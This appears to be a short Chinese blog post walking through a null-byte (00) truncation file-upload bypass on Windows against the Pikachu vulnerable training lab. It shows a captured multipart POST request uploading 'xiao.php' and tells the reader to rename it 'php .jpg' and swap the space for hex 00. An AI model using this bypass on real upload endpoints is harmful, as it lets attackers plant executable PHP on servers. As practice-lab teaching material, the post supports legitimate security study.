文件上传 00截断 (windows)

？？？？27282

已于 2023-02-22 11:05:30 修改

阅读量728

点赞数 1

CC 4.0 BY-SA版权

分类专栏：秀秀文章标签： php 开发语言

于 2023-02-22 11:03:46 首次发布

本文链接：https://blog.csdn.net/qq_52549196/article/details/129158484

秀秀专栏收录该内容

179 篇文章

订阅专栏

文章讲述了通过将文件名中的空格替换为00十六进制，利用Windows系统在读取文件名时遇到0x00会停止的特性，绕过安全检查，成功上传PHP文件为jpg格式，从而可能引发安全问题。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

文件上传 00截断 (windows)

在这里插入图片描述

POST /pikachu/vul/unsafeupload/clientcheck.php HTTP/1.1
Host: xiu.com
Content-Length: 1728
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://xiu.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybF6p5412ysHQJcwA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://xiu.com/pikachu/vul/unsafeupload/clientcheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=h0dsuqs5ik9jpt4do4seer8l6v
Connection: close

------WebKitFormBoundarybF6p5412ysHQJcwA
Content-Disposition: form-data; name="uploadfile"; filename="xiao.php

把文件名改成 php .jpg
在这里插入图片描述